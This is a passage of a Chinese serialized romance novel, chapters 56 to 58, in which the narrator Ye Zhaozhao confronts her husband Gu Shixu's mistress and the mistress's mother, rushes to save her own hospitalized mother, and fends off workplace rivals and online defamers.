我这才明白,顾时序和苏雅欣去拍定婚照,是她们用来刺激我的幌子。
苏母生怕我抖露出些什么,对顾时序道:“既然朵朵已经找到了,那我们就不计较了。回去吧!”
“等等。”
我开口道:“你们不计较,可有些事,我们还是要说清楚的。”
顾时序蹙眉问:“什么事?”
我笑了笑,道:“让你听听你的好母亲和你未来的岳母,究竟是什么嘴脸?”
说着,我就拿出手机。
录音里,姜淑慧和苏雅欣母亲今天对我所说的每一句话,都放了出来。
听到她们让我录视频亲口承认自己是小三的时候,顾时序脸色愈发难看。
然后,他漆黑深沉的眸子落在苏母身上。
第56章 揭穿小三,继续打脸!
苏母肉眼可见的慌了。
苏雅欣为了将自己从这件事里抽出来,立刻装作一副痛心疾首的样子,对母亲道:“妈,您怎么能这么做呢?叶小姐最近经历着网暴,已经很可怜了,我一直在想办法澄清这件事。可是您,居然跟那些网友一样伤害她!我真是对您太失望了!”
苏母索性破罐子破摔,母女俩一个唱白脸,一个唱红脸。
“她那是活该!”
苏母道:“雅欣,你就是太善良,太好拿捏了!叶昭昭她是无辜的吗?她那是活该!占着顾太太的位置,还水性杨花,瞒着所有人去打胎。她这肚子里,都不知道有过多少男人的种了!这么脏的女人,怎么配得上时序?”
提起这件事,顾时序目光也仿佛结了冰。
刚才那对我的一丁点儿歉意,似乎也消失无踪。
苏母见状,趁热打铁劝说道:“时序啊,倒不如趁这次机会,赶紧跟叶昭昭离婚吧!我们雅欣带着朵朵等了你这么多年,难道,你还不准备给她一个名分吗?”
“她说得对!”
我对顾时序说完,看着苏母道:“你别急,顾时序前天已经跟我谈离婚了。相信很快,你女儿就能嫁给他。”
顾时序凌厉的目光投射在我身上。
我不明白,我这配合他的‘离婚’事宜,他怎么还这样看着我?
他该很庆幸,他有个懂事的妻子,不是吗?
而苏雅欣和她妈妈脸上的笑几乎快要压制不住。
尤其是苏母,激动的声音都发颤,问顾时序:“这是真的吗?也不枉我们雅欣这么多年一直帮你带着朵朵。”
我听到这里,眉头微微皱了皱。
什么叫苏雅欣‘帮’他带朵朵?
我莫名想起了那次亲子鉴定的事。
虽然后来我第二次给苏雅欣和朵朵做亲子鉴定的时候,被顾时序发现了,没做成。
但第一次的结果,莫非是对的?
朵朵的确不是她亲生的?
我还没来得及细想,只听苏母又道:“时序,伯母今天的确跟叶小姐说话不太好听,思虑不周。可我说到底,都是为了你啊!她这样的身份,能嫁给你,已经是前世修来的福气了。可她不珍惜也就罢了,竟然给你戴绿帽子,连孩子都弄出来了。”
苏雅欣看了眼顾时序冷峻的面容,走到母亲面前装好人,道:“妈,您别说了。大概……是这里有什么误会吧?叶小姐看着,不像这样的人。”
“知人知面不知心啊!”
苏母冷哼了声,格外不屑地说:“那流产手术同意书白纸黑字签的是她‘叶昭昭’的名字,还能冤枉她不成?”
就在这时,刚才播放动画片的频道不知什么时候已经变成了娱乐新闻。
新闻主播在屏幕里慷慨激昂地说:“观众朋友们,关于顾氏总裁与苏雅欣之间的情感问题,以及小三上位事件,如今迎来了重大转折。也就是十分钟前,一位自称是苏启明前女友的人,手举身份证,**了苏启明,并且发表了澄清视频。苏启明的所作所为,真是令**跌眼镜!下面,请看具体报道。”
紧接着,电视图像开始插播视频内容。
我没想到,孟云初竟然连自己名声都不顾了,直接抛头露面,讲述了自己手里掌握苏启明与学校高层暗中勾结弄虚假升职材料评教授的证据;并且孟云初还搞到了苏启明那日在下午茶餐厅,往她杯子里放流产药的监控。
最后,孟云初掷地有声说:“所以,叶小姐根本就不是去做什么流产手术,那天做手术的人是我!叶小姐只是见义勇为,送我去了医院,并且帮我签了字。这一点,医院的医生都可以作证!”
顾时序听完这句话,冷沉的眸子里闪现出一丝意外。
随即,他望向我,语气不似之前那般冷硬,而是低低地开口道:“你……那天为什么不解释给我听?”
我惨淡地笑了下,道:“我解释,你就会信吗?你信过我几回?如果你信我,你压根就不会因为网上那些无稽之谈那么对我。”
顾时序哑口无言,冷峻的面容绷得很紧。
他向来高傲,已经说不出更软的话来了。
而苏雅欣此时早已经三魂去了七魄,怔怔地看着电视,一句话都说不出来。
苏母似乎被弄崩溃了,咬牙切齿地骂道:“这个**!我们启明对她还是心太软!”
说完,她几步走到我面前,想来撕扯我。
“是不是你跟她串通好的?”
苏母为了儿子,已经顾不上此时顾时序在一旁了,厉声说道:“两个小**,你们把我女儿和我儿子害这么惨,我跟你拼了!”
就在这时,顾时序忽然抓住她的手,沉郁地开口道:“闹够了没有?你儿子这个德行,人家都**了,还能是污蔑吗?”
苏雅欣反应了过来,连忙跑去拦住她母亲,道:“时序哥,我妈妈大概是为我哥心急,才冲动了。我现在就把她带回去!这其中肯定有误会,我回去问清楚。”
她说着说着,眼睛就红了,看着好像是这所有人里最无辜的,却又承受着最大压力的角色。
“时序哥,对不起……”
临走时,她哽咽着道歉,然后牵起朵朵的手。
可这时,顾时序开口道:“你们先走,把朵朵留下。”
苏雅欣不可置信地回过头,道:“为什么?”
顾时序面无表情地说:“朵朵不能再跟你母亲待在一起了,孩子会被教坏。”
苏雅欣别提多难堪了,顾时序这句话,跟打她的脸无异。
苏母更是死死瞪着我,要把我活剥了似的,道:“顾时序,我们苏家养了你女儿这么多年,没有功劳也有苦劳。现在,你要把她从我们身边带走?你……”
“妈,不要说了。”
苏雅欣看着格外慌张,连忙制止住母亲。
为了拿捏住顾时序,她这种阴狠毒辣的女人也算是忍到了极致。
她委屈兮兮地说:“时序哥,我都听你的。这样吧,马上出去之后,我让我妈自己回去,我带着朵朵回咱妈那儿。我们……等你回来。”
一口一个‘咱妈’,我听得尴尬症都要犯了。
我直接对她道:“不必了,让顾时序跟你们一起走吧。反正事情也解决了,我跟他没什么可说的了。”
顾时序薄唇紧抿着,似乎在克制什么。
苏雅欣倒是十分赞同我的话,毕竟,她可害怕顾时序留在这儿跟我破镜重圆了。
因此,她小心翼翼地开口问:“时序哥,要不……我们一起走吧,别打扰叶小姐休息了。”
朵朵在她的授意下,走过去牵上顾时序的手,道:“爸爸,你跟我和妈妈一起回家嘛!我不喜欢这个女佣阿姨,我们不要跟她一起玩儿嘛!”
“嗯,好。”
顾时序抱起女儿,看也没再看我一眼,便跟着苏雅欣她们往门口走去。
我笑了笑,意料之中的结果。
顾时序的选择,永远都不会是我。
然而,他们还没踏出我家门,医院的电话打了进来。
我接通之后,医生对我道:“叶小姐,您母亲刚才发生了心脏骤停,现在她的情况太差,恐怕……”
我打断道:“你们救救她,我求求你们救救她!”
我不要听医生说出后面的话。
这二十年来,我一直期待着奇迹发生,一直期待着妈妈有一天能够醒来,再叫一声我的名字。
医生对我说:“刚才顾氏负责人过来说设备可以恢复使用了。但您母亲这种情况,您看……还需要吗?”
这意思,应该就是哪怕用上设备,也无力回天了。
“需要!需要!”
我一边哭着对电话那边说话,一边道:“我请你们权利救她,拜托你们了!”
我冲出门的时候,顾时序放下朵朵,已经跟了上来。
到达车库,我正准备进车里,顾时序走到驾驶座这边拦住我。
“你坐到那边去,我来开吧。”
他说着,已经打开车门进去了。
我没跟他争,因为现在的我,双腿发软,浑身都在轻微地发抖,的确不适合开车。
路上,他联系了医院,然后给一些熟悉的专家打了电话,让他们立
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刻赶去我妈妈的病房会诊。
我静静地望着窗外,眼泪擦了又擦,却像是擦不干似的,一直往外涌。
我不敢去想如果我妈妈离开了我,后面的人生,我该为了什么而活着?
这时,我冰凉的指尖被一只手轻轻握住。
顾时序一手握着方向盘,另一手就这么握着我的手,道:“别哭了,我来想办法,岳母不会有事的。”
我硬生生地将手从他手里抽开,道:“这一切,都是你造成的!顾时序,你知不知道,你是这所有人里最伪善的人!”
顾时序没有辩解什么,只是淡淡地说了两个字:“抱歉。”
我想到我妈因为他被撤掉设备,苦苦地在死亡线上挣扎,便恨不得杀了他。
趁他现在对我有内疚,我问道:“离婚的事什么时候去办?你什么时候让孙杰把离婚协议给我?”
我只有离开他,我的生活才能恢复平静,我和我身边的人,才不会这样,一次又一次地被伤害。
此时刚好在等红灯,顾时序深邃的目光落在我脸上,道:“那天我在气头上,话说重了些。放心吧,你是顾太太这一点,不会改变。别跟我置气了,嗯?”
我很不明白,顾时序这样的自信,究竟是从哪里来的?
时至今日,他居然还觉得我舍不得这个顾太太的名头,他还用这赏赐般的语气对我说,让我放心。
“顾时序,我没跟你置气,这个顾太太对我来说,早就没有意义了。”
我尽量心平气和地跟他说话,生怕我语气急一点他又觉得我在赌气或者是闹脾气。
我想,只有冷静地跟他提这件事,他才会相信,离婚这件事,我是经过深思熟虑的。
在我又提了一遍‘离婚’后,刚好红灯转绿。
顾时序专注着前面的路况开车,但语气很低很沉,“你确定这个顾太太对你没有意义?如果你不是顾太太,你母亲就没机会用到顾氏还没有上市的设备;你们叶家也不会在诡谲多变的海城商界存活这么久;甚至刚才,那些专家也是看在顾太太母亲的面子上,才赶去医院会诊。”
这是我第一次面对顾时序,哑口无言。
纵使我有千万个想离婚的理由,但他说的这些他给我带来的好处,我赖不掉。
或许,他也认为,我是因为这些好处,才不舍得离开他的。
见我不吭声了,顾时序重新握住我的手,道:“别跟我闹了。我答应你一定救活岳母,你乖乖跟我回家。顾时序的太太,没道理成天在外面租房住。”
“我既然已经出来了,就不会再回去。”
我冷冷回绝了他。
而他正忙着安排孙杰去联系专家,将国内外相关领域的专家都请过来,所以暂时没空理会我。
等我们赶到医院的时候,整个海城重症医学的专家教授都已经到齐了。
听孙杰说,国外和国内其他城市的专家也都在往这边赶。
顾时序出现在医院的时候,那些医生的态度都不一样了,甚至连院长也在安慰我。
“还请贵院务必不惜一切代价抢救我岳母。”
他每个字都带着不容商榷的命令。
院长道:“是,顾总,我们一定会尽全力的。”
……
抢救室的大门再次被关了起来,我在门外心焦地等待着结果。
顾时序站在我旁边,手机不停地响。
我用余光瞥见来电显示是姜淑慧。
想必,是苏雅欣回去告了状,所以姜淑慧打电话兴师问罪来了。
顾时序没接,电话就一直响。
在姜淑慧打了第八遍电话的时候,我开口道:“你回去吧,我一个人在这儿就好。”
我真的是不想跟顾时序这个罪魁祸首多待一分一秒。
他母亲把他叫回去,正好。
可顾时序这次直接关了手机,淡淡地说:“等岳母病情平稳了,我再回去。”
我心中冷笑,这个时候,顾时序又开始拿出一副好丈夫的样子了。
这自欺欺人的做派,恐怕连他自己都觉得,他这样的丈夫,真是难能可贵。
第57章 顾时序要行夫妻房事
半小时后,院长领着一堆专家从里面出来。
我赶紧迎了上去,紧张地问:“医生,我妈妈怎么样了?”
院长凝重说:“算是暂时抢救回来了,维持住了生命体征。不过,你母亲现在病情实在不稳定,最好是能请到国际上的专家一起会个诊,商讨出一个最佳的解决方案。”
顾时序道:“我已经联系过了,他们现在正往这边赶。还需要什么?”
院长客气地说:“其他就是些资金支持了,这个对顾总您来说,肯定没问题。”
顾时序点点头,道:“无论多少钱,请务必把人给救活。”
我问医生:“能不能让我进去看看我妈妈?”
“现在病人在无菌病房,最好不要进出,以免带入细菌。等病人转入普通病房以后,您就可以随时来探望了。”
院长说完,带着几名专家回到了办公室。
顾时序问一旁的助理:“孙杰,国际专家什么时候能到?”
“至少得明天了吧?”
孙杰道:“我会盯着这件事的,会催促他们尽快。”
顾时序对我道:“既然现在,你什么也做不了,在这儿也是耽误时间。先跟我回家吧!”
说完,他就要来牵我的手。
我赶紧将手背到身后,冷声道:“我已经说过了,我不会回去的。”
顾时序拧了拧微皱的眉心,道:“你要明白什么叫做‘适可而止’!既然你不想当这个顾太太,就不要享受这个名头给你带来的一切便利!”
说完,他走到不远处的窗前拿出一支烟点燃。
最近顾时序抽烟的频率,好像越来越频繁了。
跟他认识二十年,好像他以前抽烟的次数,一只手都能数得过来。
这时,孙杰走到我身边,小声道:“您要不就先别跟他置气了,等老夫人挺过这一关,再说其他事情呗。万一真把顾总惹恼了,那些专家不过来了,您这不是拿老夫人的安危开玩笑吗?”
我捏了捏指尖,只好先忍了。
就这样,在孙杰的劝说下,我暂时先跟顾时序回到了顾氏庄园。
刘妈见我回来,欣喜地说:“太太,您回来了!刚好晚餐已经做好了,您和先生快入座吧!”
刘妈盛情难却,我连包包都没来得及放回房间,便跟着一起去了餐厅。
以往很少出现荤菜的餐桌上,一大半几乎都是荤的,顾时序面前仍旧是一堆素食。
尽管我以前是个无肉不欢的人,这些菜也都是我爱吃的。
可大概是因为孕反的原因,我现在闻到荤腥儿就恶心。
所以吃饭时,我刻意避开了荤菜,跟顾时序一样吃素。
顾时序若有所思地看着我,问:“你不是最爱吃肉吗?几天不回来,还开始矜持起来了?”
他说着,就帮我夹了一筷子清蒸鱼。
下一秒,闻到腥味儿的我捂住嘴,往洗手间跑去。
我漱口的时候,顾时序也进来了。
“你怎么了?”
我从镜子看到他漆黑幽沉的双眼正带着探究。
我心一紧,道:“胃炎又犯了,不太舒服。”
“那明天去医院看岳母的时候,我带你去找医生看看。”
他话音刚落,我的心瞬间提到了嗓子眼儿。
我立刻道:“不用了,**病了。”
顾时序蹙眉道:“你忘了医生说过,长期如此,可能会癌变。还是去看看吧,放心。”
“真不用了,我自己的身体自己清楚。我没事的!”
我避开他的目光,匆匆从洗手间离开,生怕他再提起带我去看医生。
晚餐后,我回到客房,想洗个澡。
没想到,里面我的东西全都空了。
“刘妈,我的睡衣呢?”
我疑惑地出去问刘妈。
刚好顾时序坐在客厅沙发上,对我道:“我让刘妈把你的东西放回主卧了。”
我震惊地看着他。
顾时序脸上没有任何异样,淡淡地说:“我之前答应过你,雅欣和朵朵走了,你就搬回主卧。”
恰在此时,顾时序的手机响了,是孙杰跟他汇报专家的行程。
“好,明早我带她过去,让所有专家都去医院。”
他跟电话那边吩咐着。
我想起孙杰的话,默默提醒自己,再忍忍。
现在这个节骨眼儿,惹恼了顾时序不值当。
因此,我跟顾时序回到了主卧。
主卧的墙壁上以前是我们的结婚照。
现在,光秃秃的,看着挺空的。
顾时序也发现了,所以问我:“刘妈说客房里没找到结婚照,你收到哪里去了?”
我面无表情地说:“你不是怕被你女儿发现?所以我扔了。”
我说完,他冷峻的面容闪过意外和一丝愠色。
真不明白,他有什么好生气的!
“我去书房处理点工作,你先去洗澡。”
他冷淡地撂下一句话,离开房间。
我深深吸了口气,环顾着这偌大的房间和那张欧式大床,难免嫌弃地撇撇嘴。
都不知道这张床上,顾时序和苏雅欣翻云覆雨多少回了!
要不是为了我妈,打死我,我都不可能睡在这么脏的地方。
虽然那天顾时序在我家对我做了那种事,但那是因为他以为我给他带了绿帽子。
平日里,顾时序整日吃斋信佛,哪怕他真的有欲望,也是对苏雅欣有。
毕竟,这三年来,我跟他的夫妻生活比大姨妈还要少。
所以我哪怕跟他睡在一张床上,我都不怕他对我怎样?
可我没想到,我洗完澡时,房间的大灯已经关了。
顾时序应该是在其他房间洗过了,穿着藏蓝色的真丝浴袍半靠在床上看平板上的股票。
夜灯发出柔软暖黄色的光,映得他那张清冷的轮廓都仿佛温和了些。
我没多想,从另一侧上了床,但却是贴着床边睡的,跟他隔出了一段距离。
可就在这时,顾时序竟然放下手中的平板,颀长的身躯靠近我,几乎要把我圈进怀里。
我吓到了,赶紧推拒道:“你干什么?”
“你是我太太,你说呢?”
他低头吻在我鬓角,还想往下吻我的耳垂,他知道,这是我最敏感的地方。
我吓得心惊肉跳,别说我现在肚子里有宝宝,哪怕没有,我又怎么还能让他碰我?
“顾时序,你忘了你说过,信佛之人最忌纵欲,夫妻生活每月最多一次!”
我用他说过的话提醒他。
顾时序仍旧没有从我身上离开,高挺的鼻梁几乎要贴在我脸上,淡淡地说:“你忘了,距离我们上一次,已经超过一个月了。可以了……”
“可……可是……”
我情急之下,红着脸道:“我生理期来了!”
顾时序这才停住动作。
我生怕他不信,连忙道:“是啊,那天你不是在医院妇产科见到我了?我吃完了医生开的药,生理期就来了。”
顾时序面色略有不悦,我甚至从他低沉的呼吸中感受到了一丝扫兴和不甘心。
不过,他还是回到了自己位置上,没再碰我。
他从小生在豪门,良好的教育让他做不出勉强女人的事。
因为只要他想,就不可能缺女人,他不需要这么做。
只是这一夜,我没睡好。
一是担心我妈的病;二是睡在顾时序身边,我身体的每一个细胞都很别扭。
……
索性一夜无事,翌日天刚蒙蒙亮我就起来了。
因为不想跟他在这张床上多待一分钟。
顾时序听见声响,也起床了。
他有时候去佛堂修佛,五点半就会起。
就像现在,他洗漱完毕对我道:“我去佛堂呆一小时,等我回来再一起去医院。”
“嗯。”
我点点头。
他去佛堂后,我洗漱完,换好衣服也下了楼。
刚到楼下,就看见苏雅欣带着朵朵在客厅。
她看见我,明显的错愕,下意识地问:“你怎么在这里?”
因为,我是从楼上下来的,她一定是觉得我搬回主卧准备跟顾时序破镜重圆了。
毕竟,昨天她母亲说的话、做的事实在太掉价,她现在估计也担心顾时序会因为苏母而迁怒于她。
“苏小姐忘了,我跟顾时序还没离婚呢,出现在这儿不是很正常?昨天,是顾时序把我东西搬到主卧的。”
我说完,苏雅欣的脸色更阴沉了。
就在这时,顾时序过来了。
他应该是听到了女佣的回话,知道情人和女儿来了。
苏雅欣听见朵朵叫了一声‘爸爸’,瞬间,脸色就变
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作了受气包的模样。
“叶小姐,请你一定要原谅我妈妈。”
她哽咽道:“昨晚,我一夜没睡好,只觉得这次,实在是太对不住你了。让你平白受了这么多委屈,真对不起……”
朵朵见苏雅欣哭,心疼地问:“妈妈,你怎么哭了?你别哭,好不好?你一哭,朵朵也想哭……”
她说着说着,也跟着哭出声来。
顾时序见状,连忙过去将女儿抱起来哄。
苏雅欣低泣着说:“时序哥,我今天来,是想替我妈妈道个歉。”
顾时序柔声道:“都过去了。你妈做的事,你也没法控制。我知道,这跟你无关。”
苏雅欣破涕为笑,道:“时序哥,只要你肯相信我,我受什么样的委屈都值了!我已经想好了帮叶小姐澄清的办法,你放心,我一定不会让她背上骂名。”
“什么办法?”
顾时序眼中流露出担忧,似乎是怕苏雅欣受到伤害。
苏雅欣摇摇头,道:“你不用管了,你公司的事情这么多,实在不该为女人家的事情操心。交给我吧,我保证给叶小姐一个交代。”
我懒得看她演,直接问顾时序:“你到底还去不去医院了?你不去的话,我就自己去了。”
这时,朵朵搂住顾时序的脖颈,道:“爸爸,你都好久没有陪我和妈妈玩儿了!今天是周末,你陪我们一天嘛!”
顾时序眼中尽是柔软和宠溺,跟女儿解释道:“爸爸今天有点事,等办完事就陪你,好吗?”
“不要嘛!我就要爸爸现在陪。妈妈都哭了,爸爸必须要好好安慰妈妈才可以!”
朵朵就这么抱着顾时序脖子不撒手。
我扯了扯唇角,只觉得从头到尾都透着没意思!
我不再等顾时序,自己拿着包包出了门。
顾时序在身后叫了我一声,但我没理会他。
毕竟,之前这种时候,他哪次选择的不都是苏雅欣或者他女儿?
我即便等下去,也是自取其辱,何必留在这儿耽误时间呢?
医院里。
一堆专家围着顾氏那个设备研究。
我过去的时候,院长对我道:“这个设备出了点儿问题,我们调试了很久,还是调试不到原来的参数。要不您联系一下顾总,让他派顾氏内部的研发部门来看看呢?”
我有些头疼。
这时候……
顾时序估计还在家里陪女儿呢!
况且,刚才我离开的时候没等他,还给他甩了脸子。
就在这时,我听见了顾时序的声音由远及近传来,“设备出了什么问题?”
我惊讶地回过头,顾时序居然来了。
院长跟顾时序说明了情况。
可现在,设备的主设计师苏启明已经被带走接受调查,肯定来不了。
更何况苏启明落得今天这个下场,虽然是罪有应得,可终究,是我揭发他的。
如果他知道是为我妈妈调试设备,他也未必肯来。
我能想到的事,顾时序自然也能想到。
他不悦地说:“这下,知道厉害了?我早就提醒过你,不要跟苏家为敌。”
“这些话,你该跟学术圈的人说去。”
那么多人引用了苏启明的假数据,在假数据的基础上耗费大量的人力和财力做实验。
可能做个很多年,都一无所获。
我不觉得自己揭发苏启明有任何问题。
顾时序心里应该也明白苏启明的做法是不对的。
所以他倒也没跟我继续争论,而是拿出手机打了一个电话。
很快,一个五十岁左右的中年男人来到了医院。
他身形偏瘦,眉宇间与苏启明和苏雅欣有几分相似。
我立刻就反应过来,这个人恐怕就是苏雅欣和苏启明的父亲了。
之前我对苏启明背景做调查的时候,就发现他父亲苏仲平也是学术界有名的大咖。
这下,我终于明白,苏启明一个半路出家的博士是怎么写出这么多篇业内顶尖论著的了。
我虽然心里想到了很多,可我还是碍于苏仲平在学术圈的地位,没有那么赤裸裸地打量他。
苏仲平在看到我的那一刻,脚步忽然顿住了,脸上仿佛带着一抹震撼。
我望着他恍惚而幽远的目光,总感觉他好像在透过我,看另一个人。
第58章 终于等来他的道歉
还是顾时序提醒让他赶紧看看设备哪里出了问题,苏仲平才猛地回过神儿来。
他神色有些异样,跟着院长进去了我妈妈的病房。
路过我身边时,他又刻意看了我一眼。
我想,会不会是因为他知道我是他女儿的情敌,他儿子也是我写新闻揭发的,所以才会这般看我呢?
苏仲平进去后,顾时序走到我身边,道:“这位,是雅欣的父亲。”
我没有任何惊讶,淡淡地说:“我知道。”
顾时序又道:“刚才是雅欣安抚好了朵朵,催促我来陪你。”
我心中一阵烦闷,看向他,问:“她要是不让你来,你就不来了呗?”
“我不是这个意思。”
顾时序声音又冷了起来,道:“我只是想告诉你,从头到尾,没有任何人想为难你。是你自己太内耗,把所有人都当做假想敌。无论雅欣的母亲做过什么,跟雅欣没有任何关系,她没你想的那么坏。”
昨天顾时序陪我来医院,帮我妈找专家的那一丝丝好感,顷刻间,荡然无存。
我讽刺地笑了下,道:“她坏不坏,我很清楚!是你顾时序有眼无珠!”
就在这时,孙杰匆匆走了过来,将手机递给顾时序看,“顾总,苏小姐十分钟前发布了声明,已经登上了热搜。”
顾时序看到之后,看我的眼神变得更加冰冷,一字一句地道:“叶昭昭,你真是配不上任何人对你的好!”
我简直要被他气笑出来。
我究竟配不上谁对我的好?
我妈被他妈和苏雅欣的妈害得在死亡线上苦苦挣扎。
苏雅欣早上了就来他面前刷了个脸,装模作样地以退为进,这就是她对我的好了?
顾时序见我没有丝毫歉意和悔过,便将手机递给我,道:“你自己看吧!”
苏雅欣的账号下,置顶了一条声明:
“我与顾时序先生已于上个月和平分手,叶小姐并非第三者介入。谢谢大家关心,我很好。”
我看完之后,嗤笑了声,格外不屑。
当时我被网暴,说我“小三上位”闹得沸沸扬扬的时候,她怎么不发?
现在事情平息了,我报道的新闻被证实不假,她哥哥身败名裂了,她倒出来说话了。
短短一个声明,便让顾时序再次对她产生怜爱和内疚。
我脸色没有任何缓和,对顾时序道:“她一个小三,有什么资格说‘分手’?这个不痛不痒的声明能代表什么?她要是在声明里能承认她破坏别人家庭,那我倒还能对她刮目相看一眼!”
顾时序眉峰紧皱,冷冷丢下一句话:“你真是不可理喻!”
他转身离开,丝毫不在意我母亲在里面的情况。
是啊,他怎么会在乎呢?
他来这儿,也不过是苏雅欣‘劝’他来的。
否则,他或许今天还是会跟以往的每一次一样,直接舍弃我。
他走了也好,专家留下就行了。
半小时后,苏仲平从我妈的病房出来。
院长一脸敬佩地说:“苏教授,多亏您了!您今天能亲自来我院,我们也受益良多。”
“客气了,陈院长。”
苏仲平彬彬有礼地说:“最近关于这台设备的争论很多,以后,还是我亲自过来维护和调试吧。”
院长受宠若惊地说:“那真是太好了!就是您的时间宝贵,不知道会不会耽误您时间?”
苏仲平道:“我是科研者,这些仪器就像我的孩子,我有义务对它们的负责。”
这时,院长才注意到一旁的我,连忙走上前道:“叶小姐,您母亲现在情况已经平稳了。多亏了顾总请的专家,还有我们苏教授给您保驾护航!您现在可以进去看您母亲了。”
我悬着心终于回到了肚子里,跟他们道了谢,我立刻去了我妈的病房里。
她身上很多抢救的管子都已经撤了下来,此时正安然的躺在病床上。
我坐在她身边,握着她温热的手,就好像小时候她牵着我的时候一样。
这一刻,我的心里格外踏实。
就在这时,一个声音在身后响起:“昭昭,我……有些话想跟你说。”
我错愕地回头,苏仲平就站在门口。
他刚才叫我“昭昭”?
我跟他有这么熟吗?
可是,他又好像跟他儿子、女儿不是一路人,还为我妈妈调试好了设备。
所以,我没好意思因为一个称呼跟他说什么不愉快的话。
“苏教授。”
我礼貌地站起身,等待他的下文。
苏仲平深深地看了眼我妈妈,对我道:“要出去说吗?在这里说话,你妈妈听见怕是会难受。她虽然是植物人,但她的听觉还在。”
我发现,苏仲平跟苏雅欣和苏启明,好像真的不一样。
“嗯。”
我点点头,跟着他一起去了外面。
苏仲平幽深的目光望着我,很复杂,我有点别扭,问:“苏教授,您有什么话要对我说?”
苏仲平严肃地说:“我想跟你道个歉。是我没有教育好我的儿子和女儿,给你添麻烦了。”
我意外极了。
实在是不懂,像苏仲平这样的人,怎么就培养出了那样两个货色?
苏仲平像是有读心术似的,下一句话就解答了我的疑惑:“实不相瞒,我这个人对事业很看重。在启明和雅欣小的时候,我就很少陪伴他们,一直将精力放在科研上。这些年,一直都是我太太在培养他们。”
我顺着他的话道:“那就难怪了。您太太……”
我欲言又止,懒得说。
毕竟,打狗还得看主人。
可苏仲平自己却苦笑了声,道:“我太太那人,我知道。”
我有些疑惑,一家子恶人里,真的能出现一个好人吗?
出淤泥而不染?
无论如何,我都不想跟苏家的人有过多接触。
所以,我想尽快结束这场对话,“苏教授,您要跟我说的,就只有这些吗?”
苏仲平看出了我的冷漠,尴尬地说:“对,就只是道歉而已。虽然我知道,这种道歉根本无法弥补我女儿对你的伤害。”
“嗯,您的道歉我收到了。但是,我不想原谅。”
我冲他笑了下,回到了我妈妈的病房。
……
宋今若听说我妈病情好转之后,也来了。
我见到她,担心地问:“你家幼儿园现在怎么样了?你爸还好吧?”
我知道宋叔叔的脾气,动不动就发飙的那种。
宋今若道:“放心吧!本来那天顾时序是投诉了的,后来晚点的时候,他自己有撤诉了,还给我们幼儿园又捐了一栋教学楼。”
我挺意外的。
后来想想,大概是他那天知道误会我了,所以才愧疚吧?
虽然他的愧疚,也仅仅只停留了一天而已。
宋今若跟我吐槽道:“你看到苏雅欣那个声明没有?**恶心!”
“看了。”
我不仅看了,就连声明下面的评论都看了:
“我们欣欣真的太委屈了!这明显就是被迫的,为了给叶昭昭那个小三和渣男脱罪!”
“就是!虽然苏启明女朋友出来**他,就算叶昭昭没有做流产手术,但也不能代表她没做小三啊!”
“这个声明我看一遍哭一遍,欣欣现在得多难受,多无助啊!叶昭昭这个死**太可恨了!”
“呜呜呜,谁来救救雅欣啊!她哥哥的错误关她什么事?”
“……”
苏雅欣的一个声明,获得了无数同情。
宋今若恨恨地说:“这些眼瞎的东西!昭昭,你什么时候才能亮出结婚证,让这些**闭嘴啊!”
我叹了口气,道:“现在因为苏启明的事情推迟了,我也不知道究竟什么时候,这个设备究竟什么时候才能上市?”
毕竟,现在的情势很明显了,苏启明之所以能平步青云,搞出那么多研发成果,基本都是靠老爸。
所以,设备出现了问题,苏仲平很轻易地就调试好了。
现在,我已经让苏仲平的儿子身败名裂了。
要是再晒出结婚证,让他女儿也身败名裂。
我真不敢保证,苏仲平会不会把怨恨撒到我妈身上?
……
我跟公司请了几天的假,直到医生说我妈彻底脱离了危险,我才回去上班。
我没想到,几天没去,新闻部已经改朝换代了。
总监办公室已经换了主人。
听同事说,孟云初那天发了**苏启明的视频之后,就被公司解雇了。
我赶紧给孟云初打了电话。
她安慰我:“放心吧,我的实力在这儿,很快就能找到新工作的。如果那天我没有站出来澄清,我心里一辈子都会觉得欠了你叶昭昭的。”
“谢谢你啊。”
千言万语,最后也就变成了这四个字。
孟云初
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道:“你可别受我的影响,好好干,争取篇篇新闻都冲爆款。咱俩迟早会江湖再见,希望到时候,我们都已经登上了山顶。”
我听着她一向自信又自负的语气,以前挺烦的,现在莫名想哭。
跟她通完电话,同事说新总监让我去办公室。
我进去之后,才知道新总监是之前跟孟云初斗的最激烈的李可。
她之前就看不惯我,因为我一来,孟云初摇摇欲坠的总监之位坐得更稳了。
当时她有意无意地提起想让我加入她的团队,但我装作听不懂,没往下接话。
此时,李可看我的眼神透着一抹不屑,道:“呦,这不是我们的顾总情人嘛!终于把苏雅欣挤掉上位了,看看这大获全胜的模样。啧啧,我这小庙都怕盛不下你了!”
要不是为了继续挖心肺支持仪的新闻,得到关于设备上市的最新消息,我也想辞职不干了。
不过现在,我还不能走。
可我也不想惯着她。
我笑了下,道:“李总监,你这小庙还是我拉来的五千万投资呢!至于能不能容得下我,不是你能决定的。”
李可脸色变得难看起来,她不知道投资人是顾亦寒,还以为是顾时序。
她皮笑肉不笑地说:“不就是被顾总包养了么?有什么可得意的?顾总连苏雅欣这种大明星都能抛弃,更何况是你?”
我勾唇一笑,道:“反正,无论是我,还是苏雅欣,总之不会是你。所以,你不用担心这些。”
李可脸上一副看不惯我,又干不掉我的样子。
我扬长而去。
回到工位上,秦欢给我打来了电话,说是我起诉苏雅欣粉丝的案件有了新进展。
那个领头的粉丝是苏雅欣的死忠粉,家底非常厚,想用钱解决。
问我需要赔偿多少钱,才能撤诉?
我没有任何犹豫,道:“多少钱都不撤,告到底。”
秦欢欲言又止,同情地对我说:“对方也请律师了,你知道是谁吗?”
我想起顾亦寒之前跟我说过的那个律师界活阎王。
我道:“只要不是沈宴州,是谁都行。”
“这倒不是,沈律对客户和案件的要求极高,不可能接这种官司的。”
秦欢叹了口气,道:“但是,对方律师是顾氏集团的御用律师。也就是说,你老公在帮苏雅欣的粉丝。”
我的心微微发沉,顾时序这人,真是把爱屋及乌发挥到了极致。
虽然如此,但我并不怕他维护苏雅欣。
污蔑诽谤这种事,我人证物证都有,我不怕他们抵赖。
我对秦欢道:“我不要他们的赔偿,我只要那些诽谤我的人付出应有的代价。”
“好的,我明白了。”
秦欢跟我通完话之后,宋今若的电话也打了进来。
她语气激动又兴奋,“跟你说个八卦,听说你告的那个粉丝头头是苏雅欣下部戏导演的女儿。要是这个粉丝头头因为苏雅欣被拘留,他爸很可能会换角色。苏雅欣下部戏的女一号,快要黄了!老天真是开眼了!”
“怪不得……”
我呢喃着。
怪不得顾时序要出动顾氏的御用律师将那个粉丝救出来。
原来,是为了苏雅欣能顺利当上女一号。
